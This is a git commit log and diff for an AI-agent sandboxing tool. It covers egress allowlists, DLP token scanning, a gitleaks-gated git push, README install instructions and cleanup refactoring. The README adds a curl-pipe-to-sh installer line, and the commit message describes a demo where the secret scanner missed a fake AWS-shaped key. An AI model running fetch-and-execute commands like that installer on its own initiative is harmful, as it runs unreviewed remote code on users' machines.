fix: retarget the demo at macos-container and re-record

The Docker backend cannot launch a bottle on this host: the orchestrator publishes 127.0.0.1:8099 but is attached only to the `--internal` control network, so Docker accepts the mapping and never establishes the forward (PortBindings set, NetworkSettings.Ports empty). Every launch dies on `orchestrator did not become healthy`. That is independent of the demo and left alone here, because fixing it means touching the L3 isolation the control network exists to provide. Pin the tape to macos-container, which launches cleanly, and drop the Docker daemon check and image pre-warm from setup. The pre-warm is not replaced with a `container build` equivalent: build_image() applies --dns handling that would become a second, drifting copy in shell, and the warm layer cache already keeps rebuilds fast. Pre-warm never kept BuildKit off camera anyway — the launcher prints CACHED lines regardless, so that comment was wrong when it was written. Launch via --headless. The interactive path opens four selectors in a row and the tape drove none of them; it also lists every bottle in ~/.bot-bottle/bottles/, putting the operator's own bottle names in a GIF that ships in the README. --headless is one-shot by construction (`claude -p`), so all probes ride in on a single --prompt rather than being typed as follow-ups into a session that has already exited. Spell the probes as literal shell commands. Left in English, one take had the agent substitute a placeholder for $FAKE_TOKEN: the DLP scanner had nothing to match and gitleaks found nothing to flag, so both controls reported a clean pass without ever being exercised. Neither curl discards the body, so the recording shows the host-filter refusal and the DLP refusal as visibly different reasons instead of two identical 403s. Drop the git/gitleaks probe. In the last run carrying it, gitleaks reported `no leaks found` on an AKIA-shaped key and the gate forwarded the push, which failed only because upstream.invalid does not resolve. A recording of that reads as the gate catching a secret while showing the opposite. Tracked in #541. Refs #540 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
fix: make demo setup/teardown idempotent and guard on PATH
2026-07-28 17:35:31 -04:00 · 2026-07-28 17:35:31 -04:00 · 2026-07-28 17:35:31 -04:00 · 2026-07-28 01:50:15 +00:00 · 2026-07-27 17:00:50 -04:00 · 2026-07-27 17:00:50 -04:00
113 changed files with 4451 additions and 688 deletions
@@ -15,7 +15,7 @@
 ## Features

 - **Per-bottle egress allowlist** — TLS-bumped HTTP/HTTPS chokepoint with a per-manifest host allowlist; per-route path/method/header `matches` filtering; outbound DLP scanning for known tokens and secrets, inbound DLP scanning for prompt-injection attempts; DoH and arbitrary hosts blocked by default.
- **Per-route token-match policy** — each egress route picks what happens when the outbound DLP catches a token via `dlp.outbound_on_match`: `supervise` (default) holds the request and surfaces it in `./cli.py supervise` for approval (an approved value is remembered for the life of the proxy); `redact` scrubs the value and forwards; `block` is a hard `403`. Cuts false-positive friction without weakening default-deny.
+- **Per-route token-match policy** — each egress route picks what happens when the outbound DLP catches a token via `dlp.outbound_on_match`: `supervise` (default) holds the request and surfaces it in `bot-bottle supervise` for approval (an approved value is remembered for the life of the proxy); `redact` scrubs the value and forwards; `block` is a hard `403`. Cuts false-positive friction without weakening default-deny.
 - **Tokens the agent never sees** — host secrets live in a gateway; the agent dials `http://gateway:9099/<path>` and the proxy strips inbound `Authorization` and injects the real token before forwarding. `printenv` in the agent shows proxy URLs only.
 - **Gitleaks-scanned push (git-gate)** — `bottle.git` remotes route through a per-bottle `git daemon` that gitleaks-scans incoming refs pre-receive and forwards clean refs upstream over SSH. The agent never holds the upstream credential.
 - **Manifest-scoped skills + secrets** — each bottle declares its skills, env, git identity, remotes, and egress routes; unknown keys die at load.
@@ -39,7 +39,7 @@ On the legacy Docker backend, the same logical bottle is two containers per agen
 The Docker topology looks like this:

 ```
-                            host  ( ./cli.py )
+                            host  ( bot-bottle )
                                  │
                          starts  │  stops
                                  ▼
@@ -71,9 +71,23 @@ When the agent exits, `cli.py` tears down every gateway and both networks; nothi

 ## Quickstart

-On compatible macOS hosts, the default backend requires Apple's `container` CLI and does not require Docker. The Firecracker backend (Linux) requires Docker on the host for the gateway plus the `firecracker` binary and KVM. The legacy Docker backend requires Docker. Claude bottles also need a long-lived Claude Code OAuth token (`claude setup-token`) exported as `BOT_BOTTLE_CLAUDE_OAUTH_TOKEN`.
+```sh
+curl -fsSL https://gitea.dideric.is/didericis/bot-bottle/raw/branch/main/install.sh | sh
+```

-Use `BOT_BOTTLE_BACKEND=docker ./cli.py start <agent>` on hosts where neither Apple Container nor KVM is available and Docker is the desired backend.
+The installer is a bootstrapper: it finds a suitable Python, installs bot-bottle with `pipx` (falling back to `pip --user`), creates `~/.bot-bottle`, and runs `bot-bottle doctor`. It is idempotent and never uses `sudo`. Python-native users can skip it entirely with `pipx install bot-bottle` or `uv tool install bot-bottle`.
+
+### Requirements
+
+**Python ≥ 3.11**, and this is the one that trips people up on macOS: the `python3` Apple ships at `/usr/bin/python3` is **3.9.6**, which is too old. Bare `python3` resolves to that stub far more often than people expect. `path_helper` builds a login shell's `PATH` from `/etc/paths` and then appends `/etc/paths.d/*`, and `/usr/bin` sits in the former — so even when `/opt/homebrew/bin` *is* on the `PATH` (via `/etc/paths.d/homebrew`), it comes after `/usr/bin` and loses. Prepending a newer Python is something your shell profile does, and a fresh account, a launchd job, or a CI runner has no such profile. So the installer looks past bare `python3` before giving up: it tries `python3`, then the versioned `python3.11`–`python3.14` names, then `/opt/homebrew/bin`, `/usr/local/bin`, `~/.local/bin`, and python.org framework builds — and tells you which one it picked when it isn't the obvious one. Point it somewhere specific with `BOT_BOTTLE_PYTHON=/path/to/python3`.
+
+**No `pipx` required.** If `pipx` is present the installer uses it and stays out of the way. If it isn't, bot-bottle installs into a private venv at `~/.bot-bottle/venv` (override with `BOT_BOTTLE_VENV`) and symlinks the entry point into `~/.local/bin`. There is deliberately no `pip install --user` path: Homebrew, python.org and Debian/Ubuntu interpreters are all externally managed (PEP 668), which blocks `--user` outright — so on a Mac it is never the fallback it appears to be. A venv is exempt from PEP 668, and `venv` is stdlib, so unlike `pipx` there is nothing to bootstrap first.
+
+**`git`**, because the default install spec is a `git+` URL. Set `BOT_BOTTLE_INSTALL_SPEC` to a wheel path or index name to avoid it.
+
+**A backend**, which the installer deliberately does *not* install for you — `doctor` reports what's missing afterwards. On compatible macOS hosts, the default backend requires Apple's `container` CLI and does not require Docker. The Firecracker backend (Linux) requires Docker on the host for the gateway plus the `firecracker` binary and KVM. The legacy Docker backend requires Docker. Claude bottles also need a long-lived Claude Code OAuth token (`claude setup-token`) exported as `BOT_BOTTLE_CLAUDE_OAUTH_TOKEN`.
+
+Use `BOT_BOTTLE_BACKEND=docker bot-bottle start <agent>` on hosts where neither Apple Container nor KVM is available and Docker is the desired backend.

 > **CI (macOS Apple Container):** the advisory `integration-macos` job in `.gitea/workflows/pre-release-test.yml` runs only on manual dispatch. It targets a self-hosted host-mode runner labelled `macos`; Apple Container cannot run inside the Linux pull-request runner. Provision an Apple Silicon host with the `container` CLI running and Python ≥ 3.11 plus `coverage` on the launchd service's explicit `PATH`. The infra container is a singleton (`bot-bottle-mac-infra`), so keep runner concurrency at 1. Its coverage is reported separately and never feeds the required pull-request gate.

@@ -166,10 +180,10 @@ On Linux, a KVM-capable host defaults to the Firecracker backend. It needs:
 - **`/dev/kvm`** present and accessible. Load `kvm-intel` or `kvm-amd` (and enable virtualization in BIOS/firmware). The invoking user must be in the `kvm` group: `sudo usermod -aG kvm "$USER"` then re-login. bot-bottle preflights this and reports exactly what's missing.
 - **`firecracker`** on `PATH`: grab a release from <https://github.com/firecracker-microvm/firecracker/releases>. Start flows print this pointer when the binary is missing.
 - **Docker** for the gateway and image build.
- **A one-time privileged network setup** — the per-bottle TAP pool plus the fail-closed `nftables` isolation table. Run `./cli.py backend setup --backend=firecracker` for the host-appropriate config (a NixOS module, a `sudo` script elsewhere); `./cli.py backend status --backend=firecracker` reports what's present, including whether the pool range collides with an existing route. The pool defaults to `10.243.0.0/16` (an obscure RFC-1918 block that dodges docker/libvirt/LAN and, deliberately, Tailscale's `100.64.0.0/10` CGNAT range); override with `BOT_BOTTLE_FC_IP_BASE` if it clashes on your host.
+- **A one-time privileged network setup** — the per-bottle TAP pool plus the fail-closed `nftables` isolation table. Run `bot-bottle backend setup --backend=firecracker` for the host-appropriate config (a NixOS module, a `sudo` script elsewhere); `bot-bottle backend status --backend=firecracker` reports what's present, including whether the pool range collides with an existing route. The pool defaults to `10.243.0.0/16` (an obscure RFC-1918 block that dodges docker/libvirt/LAN and, deliberately, Tailscale's `100.64.0.0/10` CGNAT range); override with `BOT_BOTTLE_FC_IP_BASE` if it clashes on your host.

 ```sh
-BOT_BOTTLE_BACKEND=firecracker ./cli.py start <agent>
+BOT_BOTTLE_BACKEND=firecracker bot-bottle start <agent>
 ```

 > **NixOS:** enable `virtualisation.docker`, ensure the KVM module is loaded (`boot.kernelModules = [ "kvm-intel" ];` or `kvm-amd`), and add your user to the `kvm` and `docker` groups. For the network pool, consume the flake module — `imports = [ inputs.bot-bottle.nixosModules.firecracker-netpool ]; services.bot-bottle-firecracker = { enable = true; owner = "you"; };` — then `nixos-rebuild switch` (imperative nft/TAP rules don't survive a rebuild; channel users can `imports = [ <bot-bottle>/nix/firecracker-netpool.nix ]`). `firecracker` isn't in nixpkgs by default as a user binary — install the release binary (pin the version) and put it on `PATH`.
@@ -177,7 +191,7 @@ BOT_BOTTLE_BACKEND=firecracker ./cli.py start <agent>
 > **CI:** Firecracker integration runs in the manually dispatched `.gitea/workflows/pre-release-test.yml` on a self-hosted runner labelled `kvm`; privileged KVM hosts never execute unreviewed PR code automatically. Provision it like a normal Firecracker host: `firecracker` on `PATH`, `/dev/kvm`, the cached guest kernel and static dropbear, and the persistent TAP/nft pool. The required pull-request workflow runs unit plus the complete Docker integration suite on `ubuntu-latest`; see `docs/ci.md`.

 ```sh
-./cli.py start <agent>   # builds the image on first run, drops you into claude
+bot-bottle start <agent>   # builds the image on first run, drops you into claude
 ```

 ## Manifest
@@ -253,7 +267,7 @@ You help maintain Gitea-hosted projects.
 | `dlp.outbound_on_match` | no | What to do when an outbound token is detected: `supervise` (default for manifest routes — hold for operator approval), `redact` (scrub the value and forward), or `block` (hard 403). Agent-provider routes (e.g. `api.anthropic.com`) default to `redact`. |
 | `git.fetch` | no | `true` permits smart HTTP clone/fetch (`git-upload-pack`) for this host. Push (`git-receive-pack`) remains blocked. |

-When an outbound DLP detector matches a token, the route's `dlp.outbound_on_match` policy decides what happens. Under the default `supervise`, the proxy queues an `egress-token-allow` proposal for the operator's `./cli.py supervise` TUI and holds the request open until it is answered (or `EGRESS_TOKEN_ALLOW_TIMEOUT_SECONDS`, default 300s, elapses — after which it fails closed). The operator never sees the raw token, only the host, method, path, and a redacted snippet; approving adds the value to an in-memory safelist for the life of the egress proxy. Under `redact`, the matched value is scrubbed from the body, headers, and path and the request is forwarded (failing closed if a match lands somewhere unredactable, like the hostname). Under `block` it stays a hard `403`. Structural blocks (CRLF injection) and not-in-allowlist host blocks are always hard `403`s regardless of policy.
+When an outbound DLP detector matches a token, the route's `dlp.outbound_on_match` policy decides what happens. Under the default `supervise`, the proxy queues an `egress-token-allow` proposal for the operator's `bot-bottle supervise` TUI and holds the request open until it is answered (or `EGRESS_TOKEN_ALLOW_TIMEOUT_SECONDS`, default 300s, elapses — after which it fails closed). The operator never sees the raw token, only the host, method, path, and a redacted snippet; approving adds the value to an in-memory safelist for the life of the egress proxy. Under `redact`, the matched value is scrubbed from the body, headers, and path and the request is forwarded (failing closed if a match lands somewhere unredactable, like the hostname). Under `block` it stays a hard `403`. Structural blocks (CRLF injection) and not-in-allowlist host blocks are always hard `403`s regardless of policy.

 More examples in `examples/`. Full design lives under `docs/prds/`; the trust-boundary rationale is in `docs/prds/0011-per-file-md-manifest.md`.

@@ -226,7 +226,7 @@ class AgentProvider(ABC):
        initial task in a non-interactive (headless) session.

        Called only when ``--prompt`` is passed to
-        ``./cli.py start --headless``; the returned args are appended
+        ``bot-bottle start --headless``; the returned args are appended
        after the provider's ``bypass_args`` and ``startup_args``."""

    def provision_ca(self, bottle: "Bottle", plan: "BottlePlan") -> None:
@@ -172,6 +172,10 @@ class BottleCleanupPlan(ABC):
        """True iff there is nothing to clean up; the CLI uses this to
        short-circuit before showing the y/N."""

+    @abstractmethod
+    def intersect(self, current: "BottleCleanupPlan") -> "BottleCleanupPlan":
+        """Resources both displayed to the operator and currently removable."""
+

@dataclass(frozen=True)
 class ExecResult:
@@ -492,6 +496,20 @@ class BottleBackend(ABC, Generic[PlanT, CleanupT]):
        (macos-container) die with a pointer — the default here."""
        die(f"backend {self.name!r} has no orchestrator control plane")

+    def attach_bottled_agents_to_gateway(self) -> None:
+        """Reconcile all running bottles against the current gateway.
+
+        Called when the gateway is (re)brought up (cold-boot path) to restore
+        the three gateway-dependent services for every live bottle: CA trust,
+        git-gate repos/creds, and egress tokens. Per-bottle failures must be
+        logged and skipped — one unreachable agent must not block the rest.
+
+        Default: no-op. Backends that run a gateway (Firecracker, docker,
+        macOS) override this with a backend-native implementation that reaches
+        running agents via their transport (SSH for Firecracker, exec/cp for
+        docker and macOS). PRD 0081."""
+        return
+
    @abstractmethod
    def prepare_cleanup(self) -> CleanupT:
        """Enumerate orphaned resources from previous bottles. No side
@@ -527,7 +545,7 @@ class BottleBackend(ABC, Generic[PlanT, CleanupT]):
        host-appropriate config or commands. Prints to stdout/stderr and
        returns a shell exit code (0 = nothing to report / success). A
        backend that needs no host setup prints a short note and returns
-        0. Invoked generically by `./cli.py backend setup [--backend=…]`
+        0. Invoked generically by `bot-bottle backend setup [--backend=…]`
        so operators can provision any backend without a
        backend-specific command. Classmethod (like `is_available`) —
        it's a host query, not per-bottle state."""
@@ -544,14 +562,14 @@ class BottleBackend(ABC, Generic[PlanT, CleanupT]):
        stderr. When quiet=True returns the status code silently —
        useful for cheap programmatic checks.

-        Invoked by `./cli.py backend status [--backend=…]` (quiet=False)
+        Invoked by `bot-bottle backend status [--backend=…]` (quiet=False)
        and by is_backend_ready() (caller-controlled)."""

    @classmethod
    @abstractmethod
    def teardown(cls) -> int:
        """Undo `setup()` — the inverse operation, surfaced as
-        `./cli.py backend teardown [--backend=…]` (uninstall). Symmetric
+        `bot-bottle backend teardown [--backend=…]` (uninstall). Symmetric
        with setup: where setup is advisory (prints the privileged
        commands / declarative config to apply), teardown prints the
        commands / config change to remove the host prerequisites. A
@@ -0,0 +1,60 @@
+"""Shared destructive-cleanup execution and failure accounting."""
+
+from __future__ import annotations
+
+import os
+import shutil
+import subprocess
+from collections.abc import Sequence
+from pathlib import Path
+
+
+class CleanupError(RuntimeError):
+    """One or more approved cleanup mutations did not complete."""
+
+
+class CleanupFailures:
+    """Attempt every approved mutation, then fail with complete diagnostics."""
+
+    def __init__(self) -> None:
+        self._messages: list[str] = []
+
+    def run(self, argv: Sequence[str], description: str) -> None:
+        raw_timeout = os.environ.get(
+            "BOT_BOTTLE_CLEANUP_COMMAND_TIMEOUT_SECONDS", "120",
+        )
+        try:
+            timeout = float(raw_timeout)
+        except ValueError:
+            timeout = 120.0
+        try:
+            result = subprocess.run(
+                list(argv), capture_output=True, text=True, check=False,
+                timeout=max(timeout, 1.0),
+            )
+        except (OSError, subprocess.SubprocessError) as exc:
+            self._messages.append(f"{description}: {exc}")
+            return
+        if result.returncode != 0:
+            detail = (result.stderr or result.stdout).strip()
+            self._messages.append(
+                f"{description}: {detail or f'exit {result.returncode}'}"
+            )
+
+    def remove_tree(self, path: Path, description: str) -> None:
+        try:
+            shutil.rmtree(path)
+        except FileNotFoundError:
+            return
+        except OSError as exc:
+            self._messages.append(f"{description}: {exc}")
+
+    def record(self, message: str) -> None:
+        self._messages.append(message)
+
+    def raise_if_any(self) -> None:
+        if self._messages:
+            raise CleanupError("; ".join(self._messages))
+
+
+__all__ = ["CleanupError", "CleanupFailures"]
@@ -46,6 +46,22 @@ class DockerBottleCleanupPlan(BottleCleanupPlan):
            and not self.orphan_state_dirs
        )

+    def intersect(self, current: BottleCleanupPlan) -> "DockerBottleCleanupPlan":
+        if not isinstance(current, DockerBottleCleanupPlan):
+            raise TypeError("cleanup plans must have the same backend type")
+        return DockerBottleCleanupPlan(
+            projects=tuple(x for x in self.projects if x in current.projects),
+            stray_containers=tuple(
+                x for x in self.stray_containers if x in current.stray_containers
+            ),
+            stray_networks=tuple(
+                x for x in self.stray_networks if x in current.stray_networks
+            ),
+            orphan_state_dirs=tuple(
+                x for x in self.orphan_state_dirs if x in current.orphan_state_dirs
+            ),
+        )
+
    def print(self) -> None:
        print(file=sys.stderr)
        for name in self.projects:
@@ -23,11 +23,12 @@ Active-agent enumeration lives in `backend/docker/enumerate.py`.

 from __future__ import annotations

-import shutil
 import subprocess

 from ...paths import bot_bottle_root
-from ...log import info, warn
+from ...log import info
+from .. import EnumerationError
+from ..cleanup_control import CleanupFailures
 from . import util as docker_mod
 from .bottle_cleanup_plan import DockerBottleCleanupPlan
 from ...bottle_state import bottle_state_dir, is_preserved
@@ -36,15 +37,17 @@ from .compose import COMPOSE_PROJECT_PREFIX, list_compose_projects

 def _list_prefixed_containers() -> list[str]:
    """All bot-bottle-prefixed containers, running or stopped."""
-    result = subprocess.run(
-        ["docker", "ps", "-a",
-         "--filter", f"name=^{COMPOSE_PROJECT_PREFIX}",
-         "--format", "{{.Names}}\t{{.Label \"com.docker.compose.project\"}}"],
-        capture_output=True, text=True, check=False,
-    )
+    try:
+        result = subprocess.run(
+            ["docker", "ps", "-a",
+             "--filter", f"name=^{COMPOSE_PROJECT_PREFIX}",
+             "--format", "{{.Names}}\t{{.Label \"com.docker.compose.project\"}}"],
+            capture_output=True, text=True, check=False,
+        )
+    except OSError as exc:
+        raise EnumerationError(f"docker ps failed: {exc}") from exc
    if result.returncode != 0:
-        warn(f"docker ps failed: {result.stderr.strip()}")
-        return []
+        raise EnumerationError(f"docker ps failed: {result.stderr.strip()}")
    out: list[str] = []
    for line in (result.stdout or "").splitlines():
        if not line:
@@ -63,15 +66,19 @@ def _list_prefixed_networks() -> list[str]:
    to a compose project. Compose-managed networks have a
    `com.docker.compose.project` label; bare ones (from pre-compose
    code paths) don't."""
-    result = subprocess.run(
-        ["docker", "network", "ls",
-         "--filter", f"name={COMPOSE_PROJECT_PREFIX}",
-         "--format", "{{.Name}}\t{{.Label \"com.docker.compose.project\"}}"],
-        capture_output=True, text=True, check=False,
-    )
+    try:
+        result = subprocess.run(
+            ["docker", "network", "ls",
+             "--filter", f"name={COMPOSE_PROJECT_PREFIX}",
+             "--format", "{{.Name}}\t{{.Label \"com.docker.compose.project\"}}"],
+            capture_output=True, text=True, check=False,
+        )
+    except OSError as exc:
+        raise EnumerationError(f"docker network ls failed: {exc}") from exc
    if result.returncode != 0:
-        warn(f"docker network ls failed: {result.stderr.strip()}")
-        return []
+        raise EnumerationError(
+            f"docker network ls failed: {result.stderr.strip()}"
+        )
    out: list[str] = []
    for line in (result.stdout or "").splitlines():
        if not line:
@@ -120,7 +127,10 @@ def prepare_cleanup() -> DockerBottleCleanupPlan:
    `enumerate_active_agents()` so the orphan-state-dir bucket
    doesn't include slugs whose non-docker bottle is still up."""
    docker_mod.require_docker()
-    projects = list_compose_projects()
+    projects = list_compose_projects(
+        warn_on_error=False,
+        raise_on_error=True,
+    )
    project_set = set(projects)
    # Late import to avoid a circular at module-load time —
    # the backend package's __init__ imports this module.
@@ -140,40 +150,30 @@ def cleanup(plan: DockerBottleCleanupPlan) -> None:
    """Remove everything in the plan. Projects first (whose `compose
    down` reaps their containers + networks atomically), then stray
    legacy resources, then orphan state dirs."""
+    failures = CleanupFailures()
    for project in plan.projects:
        info(f"docker compose down  ({project})")
-        result = subprocess.run(
+        failures.run(
            ["docker", "compose", "-p", project, "down", "--volumes"],
-            capture_output=True, text=True, check=False,
+            f"docker compose down failed for {project}",
        )
-        if result.returncode != 0:
-            warn(
-                f"compose down failed for {project}: "
-                f"{result.stderr.strip()}"
-            )

    for name in plan.stray_containers:
        info(f"removing stray container {name}")
-        subprocess.run(
+        failures.run(
            ["docker", "rm", "-f", name],
-            stdout=subprocess.DEVNULL,
-            stderr=subprocess.DEVNULL,
-            check=False,
+            f"removing stray container {name}",
        )

    for name in plan.stray_networks:
        info(f"removing stray network {name}")
-        subprocess.run(
+        failures.run(
            ["docker", "network", "rm", name],
-            stdout=subprocess.DEVNULL,
-            stderr=subprocess.DEVNULL,
-            check=False,
+            f"removing stray network {name}",
        )

    for identity in plan.orphan_state_dirs:
        path = bottle_state_dir(identity)
        info(f"removing orphan state dir {path}")
-        try:
-            shutil.rmtree(path, ignore_errors=True)
-        except OSError as e:
-            warn(f"failed to remove {path}: {e}")
+        failures.remove_tree(path, f"removing orphan state dir {path}")
+    failures.raise_if_any()
@@ -74,10 +74,13 @@ def list_compose_projects(
        result = subprocess.run(
            argv, capture_output=True, text=True, check=False,
        )
-    except FileNotFoundError as exc:
+    except OSError as exc:
+        # Not only "not found": docker on PATH but not executable by this
+        # user raises PermissionError. Either way the query never ran, so an
+        # enumeration caller must not read the empty result as authoritative.
        if raise_on_error:
            raise EnumerationError(
-                "docker compose ls failed: docker not found"
+                f"docker compose ls failed: docker unavailable ({exc})"
            ) from exc
        return []
    if result.returncode != 0:
@@ -74,8 +74,9 @@ def _query_services_by_project() -> dict[str, set[str]]:
            ],
            capture_output=True, text=True, check=False,
        )
-    except FileNotFoundError as exc:
-        raise EnumerationError("docker ps failed: docker not found") from exc
+    except OSError as exc:
+        # Missing, or on PATH but not executable by this user (PermissionError).
+        raise EnumerationError(f"docker ps failed: docker unavailable ({exc})") from exc
    if r.returncode != 0:
        raise EnumerationError(f"docker ps failed: {r.stderr.strip()}")
    return _parse_services_by_project(r.stdout or "")
@@ -8,7 +8,7 @@ pointer, and `status()` reports whether docker is usable.
 This is intentionally minimal; a richer version (daemon config checks,
 gVisor/runsc install guidance, rootless-docker hints) is tracked
 separately. Reached via `DockerBottleBackend.setup` / `.status`, which
-the generic `./cli.py backend {setup,status}` dispatches to.
+the generic `bot-bottle backend {setup,status}` dispatches to.
 """

 from __future__ import annotations
@@ -69,7 +69,7 @@ def teardown() -> int:
    sys.stderr.write(
        "Docker backend: nothing to undo — it provisions no privileged host "
        "state (networks and the gateway are per-launch and are "
-        "removed by `./cli.py cleanup`). Docker itself is left installed.\n"
+        "removed by `bot-bottle cleanup`). Docker itself is left installed.\n"
    )
    return 0

@@ -89,5 +89,5 @@ def status() -> int:
    runsc = _docker_on_path() and _util.runsc_available()
    sys.stderr.write(f"gVisor runsc runtime: {'registered' if runsc else 'not registered (optional)'}\n")
    if not ok:
-        sys.stderr.write("\nRun: ./cli.py backend setup --backend=docker\n")
+        sys.stderr.write("\nRun: bot-bottle backend setup --backend=docker\n")
    return 0 if ok else 1
@@ -27,3 +27,11 @@ class FirecrackerBottleCleanupPlan(BottleCleanupPlan):
    @property
    def empty(self) -> bool:
        return not (self.vm_pids or self.run_dirs)
+
+    def intersect(self, current: BottleCleanupPlan) -> "FirecrackerBottleCleanupPlan":
+        if not isinstance(current, FirecrackerBottleCleanupPlan):
+            raise TypeError("cleanup plans must have the same backend type")
+        return FirecrackerBottleCleanupPlan(
+            vm_pids=tuple(x for x in self.vm_pids if x in current.vm_pids),
+            run_dirs=tuple(x for x in self.run_dirs if x in current.run_dirs),
+        )
@@ -11,10 +11,9 @@ Reaps *orphans* only — resources with no live VM behind them:
    — a VMM left lingering after its dir was removed.

 A run dir with a *live* firecracker process is a running bottle and is
-left strictly alone: it is neither killed nor removed. (The backend's
-`enumerate_active` registry is still a stub — #354 — so a live process
-is the only reliable "this bottle is in use" signal we have. Once the
-registry lands, registry-orphaned-but-running VMs can be reaped too.)
+left strictly alone: it is neither killed nor removed. Active-agent
+enumeration uses this same process snapshot, so cleanup and generic
+backend consumers agree about which bottles are running.

 TAP slots free themselves (the flock drops when the launcher exits), so
 there is nothing to reclaim there.
@@ -22,15 +21,16 @@ there is nothing to reclaim there.

 from __future__ import annotations

+from collections.abc import Sequence
 import os
-import shutil
 import signal
 import subprocess
 from pathlib import Path

 from ...log import info
 from .. import EnumerationError
-from . import util
+from ..cleanup_control import CleanupError, CleanupFailures
+from . import lifecycle_lock, util
 from .bottle_cleanup_plan import FirecrackerBottleCleanupPlan


@@ -38,7 +38,7 @@ def _run_root() -> Path:
    return util.cache_dir() / "run"


-def _run_dir_of(cmd: str, run_root: Path) -> Path | None:
+def _run_dir_of(args: Sequence[str], run_root: Path) -> Path | None:
    """The bottle run dir a firecracker cmdline belongs to, or None.

    A bottle VM is launched with `--config-file <run_root>/<slug>/config.json`,
@@ -46,15 +46,35 @@ def _run_dir_of(cmd: str, run_root: Path) -> Path | None:
    the run root. Anything else (a builder VM, the infra VM elsewhere) is
    not ours to reap here.
    """
-    toks = cmd.split()
-    for i, tok in enumerate(toks):
-        if tok == "--config-file" and i + 1 < len(toks):
-            parent = Path(toks[i + 1]).parent
+    for i, arg in enumerate(args):
+        if arg == "--config-file" and i + 1 < len(args):
+            parent = Path(args[i + 1]).parent
            if parent.parent == run_root:
                return parent
    return None


+def _decode_cmdline(raw: bytes) -> tuple[str, ...]:
+    """Decode Linux's NUL-delimited argv without losing embedded spaces."""
+    return tuple(
+        value.decode(errors="surrogateescape")
+        for value in raw.split(b"\0") if value
+    )
+
+
+def _process_args(pid: int) -> tuple[str, ...] | None:
+    """Read one process's lossless argv, or None when it exited meanwhile."""
+    try:
+        raw = Path(f"/proc/{pid}/cmdline").read_bytes()
+    except FileNotFoundError:
+        return None
+    except OSError as exc:
+        raise EnumerationError(
+            f"could not inspect Firecracker pid {pid}: {exc}"
+        ) from exc
+    return _decode_cmdline(raw)
+
+
 def _scan_processes(run_root: Path) -> tuple[set[str], list[int]]:
    """Inspect running firecracker VMs under ``run_root``.

@@ -65,7 +85,7 @@ def _scan_processes(run_root: Path) -> tuple[set[str], list[int]]:
    """
    try:
        result = subprocess.run(
-            ["pgrep", "-a", "firecracker"],
+            ["pgrep", "firecracker"],
            capture_output=True, text=True, check=False,
        )
    except OSError as exc:
@@ -83,14 +103,14 @@ def _scan_processes(run_root: Path) -> tuple[set[str], list[int]]:
    live: set[str] = set()
    orphan_pids: list[int] = []
    for line in result.stdout.splitlines():
-        parts = line.split(None, 1)
-        if len(parts) != 2:
-            continue
        try:
-            pid = int(parts[0])
+            pid = int(line.strip())
        except ValueError:
            continue
-        run_dir = _run_dir_of(parts[1], run_root)
+        args = _process_args(pid)
+        if args is None:
+            continue
+        run_dir = _run_dir_of(args, run_root)
        if run_dir is None:
            continue
        if run_dir.is_dir():
@@ -126,12 +146,54 @@ def prepare_cleanup() -> FirecrackerBottleCleanupPlan:


 def cleanup(plan: FirecrackerBottleCleanupPlan) -> None:
-    for pid in plan.vm_pids:
+    """Revalidate the preview under the launch lock, then remove its survivors."""
+    with lifecycle_lock.hold():
+        fresh = prepare_cleanup()
+        approved_pids = set(plan.vm_pids).intersection(fresh.vm_pids)
+        approved_dirs = set(plan.run_dirs).intersection(fresh.run_dirs)
+        failures = CleanupFailures()
+        for pid in sorted(approved_pids):
+            try:
+                _terminate_orphan(pid, _run_root())
+            except CleanupError as exc:
+                failures.record(str(exc))
+        for path in sorted(approved_dirs):
+            info(f"rm -rf {path}")
+            failures.remove_tree(Path(path), f"removing Firecracker run dir {path}")
+        failures.raise_if_any()
+
+
+def _terminate_orphan(pid: int, run_root: Path) -> None:
+    """Signal exactly the process identity that still owns an orphan config."""
+    try:
+        pidfd = os.pidfd_open(pid)
+    except ProcessLookupError:
+        return
+    except OSError as exc:
+        raise EnumerationError(
+            f"could not pin Firecracker pid {pid} for cleanup: {exc}"
+        ) from exc
+    try:
+        try:
+            raw = Path(f"/proc/{pid}/cmdline").read_bytes()
+        except FileNotFoundError:
+            return
+        except OSError as exc:
+            raise EnumerationError(
+                f"could not revalidate Firecracker pid {pid}: {exc}"
+            ) from exc
+        args = _decode_cmdline(raw)
+        run_dir = _run_dir_of(args, run_root)
+        if run_dir is None or run_dir.is_dir():
+            return
        info(f"kill firecracker VM pid {pid}")
        try:
-            os.kill(pid, signal.SIGTERM)
+            signal.pidfd_send_signal(pidfd, signal.SIGTERM)
        except ProcessLookupError:
-            pass
-    for path in plan.run_dirs:
-        info(f"rm -rf {path}")
-        shutil.rmtree(path, ignore_errors=True)
+            return
+        except OSError as exc:
+            raise CleanupError(
+                f"could not signal Firecracker pid {pid}: {exc}"
+            ) from exc
+    finally:
+        os.close(pidfd)
@@ -26,22 +26,19 @@ The TAP slot allocation, rootfs build, and VM boot are the caller's job.

 from __future__ import annotations

-import json
 import subprocess
 from dataclasses import dataclass
 from pathlib import Path

 from ...egress import EgressPlan
 from ...git_gate import GitGatePlan
-from ...log import info
-from ...orchestrator.client import OrchestratorClient, OrchestratorClientError
+from ...orchestrator.client import OrchestratorClient
 from ...orchestrator.lifecycle import (
    OrchestratorStartError,  # re-exported so callers can catch it
 )
-from ...orchestrator.reprovision import reprovision_bottles
 from ...orchestrator.store.secret_store import ENV_VAR_SECRET_NAME
 from ..provision_bottle import deprovision_bottle, provision_bottle
-from . import cleanup, util
+from . import util
 from .gateway import FirecrackerGateway
 from .infra import FirecrackerInfraService

@@ -64,17 +61,6 @@ class LaunchContext:
    env_var_secret: str = ""  # encryption key injected into the agent's env


-def _guest_ip_from_config(config_path: Path) -> str:
-    """Read the kernel's configured guest IP from a Firecracker config."""
-    try:
-        config = json.loads(config_path.read_text())
-        args = config["boot-source"]["boot_args"]
-        ip_arg = next(part for part in args.split() if part.startswith("ip="))
-        return ip_arg.removeprefix("ip=").split(":", 1)[0]
-    except (OSError, ValueError, KeyError, TypeError, StopIteration):
-        return ""
-
-
 def persist_env_var_secret(private_key: Path, guest_ip: str, secret: str) -> None:
    """Mirror the exec-time key into guest tmpfs for restart recovery."""
    proc = subprocess.run(
@@ -89,29 +75,6 @@ def persist_env_var_secret(private_key: Path, guest_ip: str, secret: str) -> Non
        )


-def _reprovision_running_bottles(client: OrchestratorClient) -> None:
-    """Read keys from live agent VMs and restore the restarted gateway."""
-    try:
-        secrets_by_ip: dict[str, str] = {}
-        for run_dir in cleanup.live_run_dirs():
